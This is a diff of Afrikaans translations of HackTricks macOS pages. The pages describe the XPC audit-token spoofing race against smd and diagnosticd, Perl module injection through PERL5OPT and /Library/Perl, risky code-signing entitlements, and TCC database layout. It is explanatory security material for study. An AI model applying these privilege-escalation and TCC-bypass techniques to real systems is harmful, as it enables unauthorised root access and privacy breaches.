* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
@ -24,10 +24,10 @@ As jy nie weet wat Mach-boodskappe is nie, begin deur hierdie bladsy te kyk:
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
{% endcontent-ref %}
Vir die oomblik onthou dat ([definisie vanaf hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Vir die oomblik, onthou dat ([definisie vanaf hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Mach-boodskappe word oor 'n _mach-poort_ gestuur, wat 'n **enkele ontvanger, meervoudige sender kommunikasie** kanaal is wat in die mach-kernel ingebou is. **Meervoudige prosesse kan boodskappe** na 'n mach-poort stuur, maar op enige punt kan slegs **'n enkele proses daarvan lees**. Net soos lêerbeskrywers en sokkette, word mach-poorte toegewys en bestuur deur die kernel en sien prosesse slegs 'n heelgetal, wat hulle kan gebruik om aan te dui aan die kernel watter van hul mach-poorte hulle wil gebruik.
## XPC Verbinding
## XPC-Verbinding
As jy nie weet hoe 'n XPC-verbinding tot stand gebring word nie, kyk:
@ -46,23 +46,23 @@ Wat vir jou interessant is om te weet, is dat **XPC se abstraksie 'n een-tot-een
Alhoewel die vorige situasie belowend klink, is daar enkele scenario's waar dit nie probleme gaan veroorsaak nie ([vanaf hier](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
* Oudit-tokens word dikwels gebruik vir 'n magtigingskontrole om te besluit of 'n verbinding aanvaar moet word. Aangesien dit gebeur deur 'n boodskap na die dienspoort te stuur, is daar **nog geen verbinding tot stand gebring nie**. Meer boodskappe op hierdie poort sal net hanteer word as addisionele verbindingsversoeke. Dus is enige **kontroles voor die aanvaarding van 'n verbinding nie kwesbaar nie** (dit beteken ook dat binne `-listener:shouldAcceptNewConnection:` die oudit-token veilig is). Ons is dus **op soek na XPC-verbindings wat spesifieke aksies verifieer**.
* XPC-gebeurtenishanteerders word sinchronies hanteer. Dit beteken dat die gebeurtenishanterer vir een boodskap voltooi moet word voordat dit vir die volgende een geroep word, selfs op gelyktydige verspreidingsbane. Dus binne 'n **XPC-gebeurtenishanterer kan die oudit-token nie oorskryf word** deur ander normale (nie-antwoord!) boodskappe nie.
* XPC-gebeurtenishanteerders word sinchronies hanteer. Dit beteken dat die gebeurtenishanterer vir een boodskap voltooi moet word voordat dit vir die volgende een geroep word, selfs op gelyktydige verspreidingsbane. Dus kan binne 'n **XPC-gebeurtenishanterer die oudit-token nie oorskryf word** deur ander normale (nie-antwoord!) boodskappe nie.
Twee verskillende metodes waarop dit uitgebuit kan word:
Twee verskillende metodes waardeur dit uitgebuit kan word:
1. Variant1:
* **Exploit verbind** met diens **A** en diens **B**
* Diens **B** kan 'n **bevoorregte funksionaliteit** in diens A aanroep wat die gebruiker nie kan nie
* Diens **B** kan 'n **bevoorregte funksionaliteit** in diens **A** aanroep wat die gebruiker nie kan nie
* Diens **A** roep **`xpc_connection_get_audit_token`** aan terwyl _**nie**_ binne die **gebeurtenishanterer** vir 'n verbinding in 'n **`dispatch_async`** nie.
* Dus kan 'n **verskillende** boodskap die **Oudit-token oorskryf** omdat dit asinkronies buite die gebeurtenishanterer versprei word.
* Die aanval gee die **SEND-reg aan diens A aan diens B**.
* Die aanval gee **diens B die STUUR-reg aan diens A**.
* Dus sal diens **B** eintlik die **boodskappe** na diens **A stuur**.
* Die **aanval** probeer om die **bevoorregte aksie aan te roep.** In 'n RC diens **A** **kontroleer** die magtiging van hierdie **aksie** terwyl **diens B die Oudit-token oorskryf** het (wat die aanval toegang gee om die bevoorregte aksie aan te roep).
2. Variant 2:
* Diens **B** kan 'n **bevoorregte funksionaliteit** in diens A aanroep wat die gebruiker nie kan nie
* Diens **B** kan 'n **bevoorregte funksionaliteit** in diens **A** aanroep wat die gebruiker nie kan nie
* Aanval verbind met **diens A** wat die aanval 'n **boodskap stuur wat 'n antwoord verwag** in 'n spesifieke **herhaalpoort**.
* Aanval stuur **diens** B 'n boodskap wat **daardie antwoordpoort** deurgee.
* Wanneer diens **B antwoord**, stuur dit die boodskap na diens A, **terwyl** die **aanval** 'n verskillende **boodskap na diens A stuur** wat probeer om 'n bevoorregte funksionaliteit te **bereik** en verwag dat die antwoord van diens B die Oudit-token op die perfekte oomblik sal oorskryf (Race Condition).
* Wanneer diens **B antwoord**, stuur dit die boodskap na diens **A**, **terwyl** die **aanval** 'n verskillende **boodskap na diens A stuur** wat probeer om 'n bevoorregte funksionaliteit te bereik en verwag dat die antwoord van diens B die Oudit-token op die perfekte oomblik sal oorskryf (Race Condition).
## Variant 1: xpc\_connection\_get\_audit\_token aanroep buite 'n gebeurtenishanterer <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
@ -79,17 +79,17 @@ In hierdie geval kan 'n aanvaller 'n **Race Condition** veroorsaak deur 'n **aan
Dit het met **`A`** as `smd` en **`B`** as `diagnosticd` gebeur. Die funksie [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) van smb kan gebruik word om 'n nuwe bevoorregte hulpmiddel (as **root**) te installeer. As 'n **proses wat as root uitgevoer word** **smd** kontak, sal geen ander kontroles uitgevoer word nie.
Daarom is die diens **B** **`diagnosticd`** omdat dit as **root** uitgevoer word en gebruik kan word om 'n proses te **monitor**, dus, sodra die monitering begin het, sal dit **meervoudige boodskappe per sekonde stuur.**
Daarom is die diens **B** **`diagnosticd`** omdat dit as **root** uitgevoer word en gebruik kan word om 'n proses te **monitor**, so sodra die monitering begin het, sal dit **meervoudige boodskappe per sekonde stuur.**
Om die aanval uit te voer:
1. Begin 'n **verbinding** met die diens genaamd `smd` deur die standaard XPC-protokol te gebruik.
2. Vorm 'n sekondêre **verbinding** met `diagnosticd`. In teenstelling met die normale prosedure, in plaas daarvan om twee nuwe mach-poorte te skep en te stuur, word die kliëntpoort-sendreg vervang met 'n duplicaat van die **sendreg** wat verband hou met die `smd`-verbinding.
2. Vorm 'n sekondêre **verbinding** met `diagnosticd`. In teenstelling met die normale prosedure, in plaas daarvan om twee nuwe mach-poorte te skep en te stuur, word die kliëntpoort-stuurreg vervang met 'n duplicaat van die **stuurreg** wat geassosieer word met die `smd`-verbinding.
3. As gevolg hiervan kan XPC-boodskappe na `diagnosticd` gestuur word, maar antwoorde van `diagnosticd` word na `smd` omgelei. Vir `smd` lyk dit asof die boodskappe van beide die gebruiker en `diagnosticd` van dieselfde verbinding afkomstig is.
![Afbeelding wat die aanvalproses uitbeeld](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
![Beeld wat die aanvalproses uitbeeld](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. Die volgende stap behels om `diagnosticd` te instrueer om die monitering van 'n gekose proses te begin (moontlik die gebruiker se eie). Gelyktydig word 'n vloed van gereelde 1004-boodskappe gestuur na `smd`. Die doel hier is om 'n instrument met verhoogde voorregte te installeer.
5. Hierdie aksie veroorsaak 'n wedloopstoestand binne die `handle_bless`-funksie. Die tydsberekening is krities: die `xpc_connection_get_pid`-funksieoproep moet die PID van die gebruiker se proses teruggee (aangesien die bevoorregte instrument in die gebruiker se toepassingsbundel woon). Tog moet die `xpc_connection_get_audit_token`-funksie, spesifiek binne die `connection_is_authorized`-subroetine, verwys na die oudit-token wat aan `diagnosticd` behoort.
5. Hierdie aksie veroorsaak 'n wedloopstoestand binne die `handle_bless`-funksie. Die tydsberekening is krities: die `xpc_connection_get_pid`-funksieoproep moet die PID van die gebruiker se proses teruggee (aangesien die bevoorregte instrument in die gebruiker se toepassingsbundel woon). Die `xpc_connection_get_audit_token`-funksie, spesifiek binne die `connection_is_authorized`-subroetine, moet egter verwys na die oudit-token wat aan `diagnosticd` behoort.
## Variante 2: antwoord deurstuur
@ -102,7 +102,7 @@ Hierdie onderskeid is noodsaaklik omdat dit die moontlikheid bied vir **antwoord
Om hierdie kwesbaarheid te benut, is die volgende opstelling vereis:
* Twee mach-diens, bekend as **`A`** en **`B`**, wat albei 'n verbinding kan vestig.
* Twee mach-diens, bekend as **`A`** en **`B`**, wat albei 'n verbinding kan tot stand bring.
* Diens **`A`** moet 'n outorisasiekontrole insluit vir 'n spesifieke aksie wat slegs **`B`** kan uitvoer (die gebruiker se aansoek kan nie).
* Diens **`A`** moet 'n boodskap stuur wat 'n antwoord verwag.
* Die gebruiker kan 'n boodskap stuur na **`B`** wat daarop sal reageer.
@ -110,14 +110,14 @@ Om hierdie kwesbaarheid te benut, is die volgende opstelling vereis:
Die uitbuitingsproses behels die volgende stappe:
1. Wag vir diens **`A`** om 'n boodskap te stuur wat 'n antwoord verwag.
2. In plaas daarvan om direk aan **`A`** te antwoord, word die antwoordpoort gekaap en gebruik om 'n boodskap na diens **`B`** te stuur.
3. Daarna word 'n boodskap wat die verbode aksie behels, gestuur, met die verwagting dat dit gelyktydig verwerk sal word met die antwoord van **`B`**.
2. In plaas daarvan om direk aan **`A`** te antwoord, word die antwoordpoort gekaap en gebruik om 'n boodskap aan diens **`B`** te stuur.
3. Daarna word 'n boodskap wat die verbode aksie behels, gestuur, met die verwagting dat dit gelyktydig met die antwoord van **`B`** verwerk sal word.
Hieronder is 'n visuele voorstelling van die beskryfde aanvalscenario:
!\[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png]\(../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
## Ontdekkingsprobleme
@ -131,5 +131,5 @@ Hieronder is 'n visuele voorstelling van die beskryfde aanvalscenario:
* **Gerapporteerde Kwessies**: 'n Verslag is aan Apple voorgelê wat die algemene en spesifieke kwessies wat in `smd` gevind is, beskryf.
* **Apple se Reaksie**: Apple het die probleem in `smd` aangespreek deur `xpc_connection_get_audit_token` met `xpc_dictionary_get_audit_token` te vervang.
* **Aard van die Regstelling**: Die `xpc_dictionary_get_audit_token`-funksie word as veilig beskou omdat dit die oudit-token direk van die mach-boodskap wat aan die ontvang XPC-boodskap gekoppel is, terugkry. Dit is egter nie deel van die openbare API nie, soortgelyk aan `xpc_connection_get_audit_token`.
* **Afswaai van 'n Breër Regstelling**: Dit bly onduidelik waarom Apple nie 'n meer omvattende regstelling geïmplementeer het nie, soos die verwerp van boodskappe wat nie ooreenstem met die gestoorde oudit-token van die verbinding nie. Die moontlikheid van legitieme oudit-tokenveranderings in sekere scenario's (bv. `setuid`-gebruik) mag 'n rol speel.
* **Afswaai van 'n Breër Regstelling**: Dit bly onduidelik waarom Apple nie 'n meer omvattende regstelling geïmplementeer het nie, soos die verwerp van boodskappe wat nie ooreenstem met die gestoorde oudit-token van die verbinding nie. Die moontlikheid van legitieme oudit-tokenveranderings in sekere scenario's (bv. `setuid`-gebruik) mag 'n faktor wees.
* **Huidige Stand**: Die probleem bly voortbestaan in iOS 17 en macOS 14, wat 'n uitdaging vir diegene wat dit wil identifiseer en verstaan, inhou.

View file

@ -1,4 +1,4 @@
# macOS Perl-toepassingsinspuiting
# macOS Perl Aansoekinspuiting
<details>
@ -6,9 +6,9 @@
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
@ -48,7 +48,7 @@ PERL5LIB=/tmp/ PERL5OPT=-Mpmod
```
## Via afhanklikhede
Dit is moontlik om die afhanklikhede van die Perl wat loop, in 'n lys te vertoon:
Dit is moontlik om die afhanklikhede van die Perl wat loop te lys:
```bash
perl -e 'print join("\n", @INC)'
```
@ -64,15 +64,15 @@ Wat sal iets soos die volgende teruggee:
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
Sommige van die teruggekeerde ers bestaan selfs nie, maar **`/Library/Perl/5.30`** bestaan wel, dit is **nie beskerm** deur **SIP** en dit is **voor** die lêers wat **beskerm word deur SIP**. Daarom kan iemand daardie lêer misbruik om skrips afhanklikhede daarin by te voeg sodat 'n hoë-privilege Perl-skrip dit kan laai.
Sommige van die teruggekeerde folders bestaan selfs nie, maar **`/Library/Perl/5.30`** bestaan wel, dit is **nie beskerm** deur **SIP** en dit is **voor** die folders wat **beskerm word deur SIP**. Daarom kan iemand daardie folder misbruik om skrips afhanklikhede daarin by te voeg sodat 'n hoë-privilege Perl-skrip dit kan laai.
{% hint style="warning" %}
Let wel dat jy **root moet wees om in daardie er te skryf** en deesdae sal jy hierdie **TCC-prompt** kry:
Let wel dat jy **root moet wees om in daardie folder te skryf** en deesdae sal jy hierdie **TCC-prompt** kry:
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
Byvoorbeeld, as 'n skrip **`use File::Basename;`** invoer, sou dit moontlik wees om `/Library/Perl/5.30/File/Basename.pm` te skep om arbitêre kode uit te voer.
Byvoorbeeld, as 'n skrip **`use File::Basename;`** invoer, sou dit moontlik wees om `/Library/Perl/5.30/File/Basename.pm` te skep om dit arbitêre kode te laat uitvoer.
## Verwysings

View file

@ -8,14 +8,14 @@ Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% hint style="warning" %}
Let daarop dat toestemmings wat begin met **`com.apple`** nie beskikbaar is vir derdepartye nie, slegs Apple kan hulle toeken.
Let daarop dat toestemmings wat begin met **`com.apple`** nie beskikbaar is vir derdepartye nie, slegs Apple kan dit toeken.
{% endhint %}
## Hoë
@ -42,7 +42,7 @@ Apps met die Debugging Tool Toestemming kan `task_for_pid()` aanroep om 'n geldi
### `com.apple.security.cs.disable-library-validation`
Hierdie toestemming maak dit moontlik om **raamwerke, invoegtoepassings, of biblioteke te laai sonder om deur Apple onderteken te wees of met dieselfde Span-ID as die hoofuitvoerbare lêer onderteken te wees**, sodat 'n aanvaller 'n arbitêre biblioteeklading kan misbruik om kode in te spuit. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
Hierdie toestemming maak dit moontlik om **raamwerke, invoegtoepassings, of biblioteke te laai sonder om deur Apple onderteken te wees of met dieselfde Team ID as die hoofuitvoerbare lêer onderteken te wees**, sodat 'n aanvaller 'n arbitêre biblioteeklading kan misbruik om kode in te spuit. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
### `com.apple.private.security.clear-library-validation`
@ -71,7 +71,7 @@ Die toestemming **`com.apple.private.icloud-account-access`** maak dit moontlik
**iMovie** en **Garageband** het hierdie toestemming.
Vir meer **inligting** oor die uitbuiting om **iCloud-tokens te kry** van daardie toestemming, kyk na die praatjie: [**#OBTS v5.0: "Wat Gebeur op jou Mac, Bly op Apple se iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
Vir meer **inligting** oor die uitbuiting om **iCloud-tokens te kry** van daardie toestemming, kyk na die gesprek: [**#OBTS v5.0: "Wat Gebeur op jou Mac, Bly op Apple se iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
@ -100,11 +100,11 @@ Hierdie toestemming lys **sleutelhangergroepe** waarop die aansoek toegang het:
```
### **`kTCCServiceSystemPolicyAllFiles`**
Gee **Volle Skyftoegang** toestemmings, een van die hoogste toestemmings wat jy kan hê vir TCC.
Gee **Volle Skyftoegang** toestemmings, een van die hoogste TCC-toestemmings wat jy kan hê.
### **`kTCCServiceAppleEvents`**
Laat die app toe om gebeure te stuur na ander toepassings wat gewoonlik gebruik word vir **outomatiese take**. Deur ander programme te beheer, kan dit die toestemmings wat aan hierdie ander programme verleen is, misbruik.
Laat die toepassing toe om gebeure na ander toepassings te stuur wat gewoonlik gebruik word vir **outomatiese take**. Deur ander programme te beheer, kan dit die toestemmings wat aan hierdie ander programme verleen is, misbruik.
Soos om hulle die gebruiker vir sy wagwoord te laat vra:
@ -126,15 +126,15 @@ Laat toe om die **`NFSHomeDirectory`** eienskap van 'n gebruiker te **verander**
### **`kTCCServiceSystemPolicyAppBundles`**
Laat toe om lêers binne app-bundels (binne app.app) te wysig, wat **standaard nie toegelaat word nie**.
Laat toe om lêers binne programbundels te wysig (binne app.app), wat **standaard nie toegelaat word**.
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Dit is moontlik om te kontroleer wie hierdie toegang het in _Sisteeminstellings_ > _Privaatheid & Sekuriteit_ > _App-bestuur._
### `kTCCServiceAccessibility`
Die proses sal in staat wees om die macOS-toeganklikheidskenmerke **te misbruik**, wat beteken dat hy byvoorbeeld toetsaanslae kan indruk. Hy kan dus versoek om toegang te kry om 'n toepassing soos Finder te beheer en die dialoog met hierdie toestemming goed te keur.
Die proses sal in staat wees om die macOS-toeganklikheidskenmerke **te misbruik**, wat beteken dat hy byvoorbeeld toetsaanslae kan indruk. Hy kan dus toegang aanvra om 'n program soos Finder te beheer en die dialoog met hierdie toestemming goed te keur.
## Medium
@ -147,15 +147,15 @@ Hierdie toestemming laat toe om **geheue te skep wat skryfbaar en uitvoerbaar is
Hierdie toestemming laat toe om C-kode te **oorheers of te lap**, gebruik die lank-afgeskafte **`NSCreateObjectFileImageFromMemory`** (wat fundamenteel onveilig is), of gebruik die **DVDPlayback**-raamwerk. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
{% hint style="danger" %}
Die insluiting van hierdie toestemming stel jou toepassing bloot aan algemene kwesbaarhede in geheue-onveilige kodelandstale. Oorweeg sorgvuldig of jou toepassing hierdie uitsondering nodig het.
Die insluiting van hierdie toestemming stel jou program bloot aan algemene kwesbaarhede in geheue-onveilige kodeland. Oorweeg sorgvuldig of jou program hierdie uitsondering nodig het.
{% endhint %}
### `com.apple.security.cs.disable-executable-page-protection`
Hierdie toestemming laat toe om **seksies van sy eie uitvoerbare lêers** op skyf te wysig om kragdadig te verlaat. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
Hierdie toestemming laat toe om **seksies van sy eie uitvoerbare lêers** op skyf te wysig om kragtig te verlaat. Kyk [**hier vir meer inligting**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
{% hint style="danger" %}
Die Uitskakelbare Uitvoerbare Geheuebeskermingstoestemming is 'n ekstreme toestemming wat 'n fundamentele sekuriteitsbeskerming van jou toepassing verwyder, wat dit moontlik maak vir 'n aanvaller om jou toepassing se uitvoerbare kode sonder opsporing te herskryf. Gee verkieslik nouer toestemmings indien moontlik.
Die Uitskakelbare Uitvoerbare Geheuebeskermingstoestemming is 'n ekstreme toestemming wat 'n fundamentele sekuriteitsbeskerming van jou program verwyder, wat dit moontlik maak vir 'n aanvaller om jou program se uitvoerbare kode sonder opsporing te herskryf. Gee verkieslik nouer toestemmings indien moontlik.
{% endhint %}
### `com.apple.security.cs.allow-relative-library-loads`
@ -187,7 +187,7 @@ Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -16,15 +16,15 @@ Ander maniere om HackTricks te ondersteun:
## **Basiese Inligting**
**TCC (Deursigtigheid, Toestemming en Beheer)** is 'n sekuriteitsprotokol wat fokus op die regulering van aansoektoestemmings. Sy primêre rol is om sensitiewe funksies soos **liggingdiens, kontakte, foto's, mikrofoon, kamera, toeganklikheid en volle skyftoegang** te beskerm. Deur uitdruklike gebruikerstoestemming te vereis voordat 'n aansoek toegang tot hierdie elemente kry, verbeter TCC privaatheid en gebruikersbeheer oor hul data.
**TCC (Deursigtigheid, Toestemming en Beheer)** is 'n sekuriteitsprotokol wat fokus op die regulering van aansoektoestemmings. Sy primêre rol is om sensitiewe funksies soos **liggingdiens, kontakte, foto's, mikrofoon, kamera, toeganklikheid en volle skyftoegang** te beskerm. Deur uitdruklike gebruikerstoestemming te vereis voordat aansoeke toegang tot hierdie elemente kry, verbeter TCC privaatheid en gebruikerbeheer oor hul data.
Gebruikers kom TCC teen wanneer aansoeke toegang tot beskermde funksies versoek. Dit is sigbaar deur 'n venster wat gebruikers toelaat om **toegang goed te keur of te weier**. Verder akkommodeer TCC direkte gebruikeraksies, soos **sleep en laat val van lêers in 'n aansoek**, om toegang tot spesifieke lêers te verleen, en verseker dat aansoeke slegs toegang het tot wat uitdruklik toegelaat is.
Gebruikers kom TCC teë wanneer aansoeke toegang tot beskermde funksies versoek. Dit is sigbaar deur 'n venster wat gebruikers toelaat om **toegang goed te keur of te weier**. Verder akkommodeer TCC direkte gebruikeraksies, soos **sleep en laat val van lêers in 'n aansoek**, om toegang tot spesifieke lêers te gee, en verseker dat aansoeke slegs toegang het tot wat uitdruklik toegelaat is.
!['n Voorbeeld van 'n TCC-venster](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
**TCC** word hanteer deur die **daemon** geleë in `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` en gekonfigureer in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registreer die mach-diens `com.apple.tccd.system`).
**TCC** word hanteer deur die **daemon** wat in `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` geleë is en gekonfigureer is in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registreer die mach-diens `com.apple.tccd.system`).
Daar is 'n **gebruikermodus tccd** wat per ingeteken gebruiker hardloop, gedefinieer in `/System/Library/LaunchAgents/com.apple.tccd.plist` wat die mach-diens `com.apple.tccd` en `com.apple.usernotifications.delegate.com.apple.tccd` registreer.
Daar is 'n **gebruikermodus tccd** wat vir elke ingeteken gebruiker hardloop, gedefinieer in `/System/Library/LaunchAgents/com.apple.tccd.plist` wat die mach-diens `com.apple.tccd` en `com.apple.usernotifications.delegate.com.apple.tccd` registreer.
Hier kan jy sien hoe die tccd as stelsel en as gebruiker hardloop:
```bash
@ -34,17 +34,17 @@ ps -ef | grep tcc
```
Toestemmings word **geërf** van die ouer aansoek en die **toestemmings** word **opgespoor** gebaseer op die **Bundel-ID** en die **Ontwikkelaar-ID**.
### TCC-databasisse
### TCC Databasisse
Die toestemmings word dan gestoor in sekere TCC-databasisse:
Die toestemmings word dan gestoor in sekere TCC databasisse:
- Die stelselwye databasis in **`/Library/Application Support/com.apple.TCC/TCC.db`**.
- Hierdie databasis is **SIP-beskerm**, sodat slegs 'n SIP-omweg daarin kan skryf.
- Hierdie databasis is **SIP beskerm**, sodat slegs 'n SIP-omleiding daarin kan skryf.
- Die gebruiker TCC-databasis **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** vir gebruikersvoorkeure.
- Hierdie databasis is beskerm sodat slegs prosesse met hoë TCC-voorregte soos Volle Skyftoegang daarin kan skryf (maar dit word nie deur SIP beskerm nie).
{% hint style="warning" %}
Die vorige databasisse is ook **TCC-beskerm vir leestoegang**. Jy **sal nie in staat wees om** jou gewone gebruiker TCC-databasis te lees tensy dit van 'n TCC-bevoorregte proses af is.
Die vorige databasisse is ook **TCC beskerm vir leestoegang**. Jy **sal nie in staat wees om** jou gewone gebruiker TCC-databasis te lees tensy dit van 'n TCC-bevoorregte proses afkomstig is.
Onthou egter dat 'n proses met hierdie hoë voorregte (soos **FDA** of **`kTCCServiceEndpointSecurityClient`**) in staat sal wees om die gebruikers TCC-databasis te skryf.
{% endhint %}
@ -59,7 +59,7 @@ Die TCC-databasis in **iOS** is in **`/private/var/mobile/Library/TCC/TCC.db`**
{% endhint %}
{% hint style="info" %}
Die **kennisgewingsentrum-UI** kan **veranderinge in die stelsel-TCC-databasis** maak:
Die **kennisgewingsentrum UI** kan **veranderinge in die stelsel TCC-databasis** maak:
{% code overflow="wrap" %}
```bash
@ -73,7 +73,7 @@ com.apple.rootless.storage.TCC
Nietemin kan gebruikers **reëls verwyder of navrae doen** met die **`tccutil`** opdraglyn-hulpprogram.
{% endhint %}
#### Doen navrae na die databasisse
#### Navraag die databasisse
{% tabs %}
{% tab title="gebruiker DB" %}
@ -174,7 +174,7 @@ Doen net **`launctl load jou_bin.plist`**, met 'n plist soos:
</besonderhede>
* Die **`auth_value`** kan verskillende waardes hê: geweier(0), onbekend(1), toegelaat(2), of beperk(3).
* Die **`auth_reason`** kan die volgende waardes aanneem: Fout(1), Gebruikerstoestemming(2), Gebruiker ingestel(3), Stelsel ingestel(4), Diensbeleid(5), MDM-beleid(6), Oorskrydingsbeleid(7), Ontbrekende gebruiksteeks(8), Vraagtydperk(9), Vooraf onbekend(10), Geregverklaar(11), Toepassingstipebeleid(12)
* Die **`auth_reason`** kan die volgende waardes aanneem: Fout(1), Gebruikerstoestemming(2), Gebruiker ingestel(3), Stelsel ingestel(4), Diensbeleid(5), MDM-beleid(6), Oorskrydingbeleid(7), Ontbrekende gebruiksteende(8), Vraagtyduit(9), Vooraflaai onbekend(10), Geregverklaar(11), Toepassingstipebeleid(12)
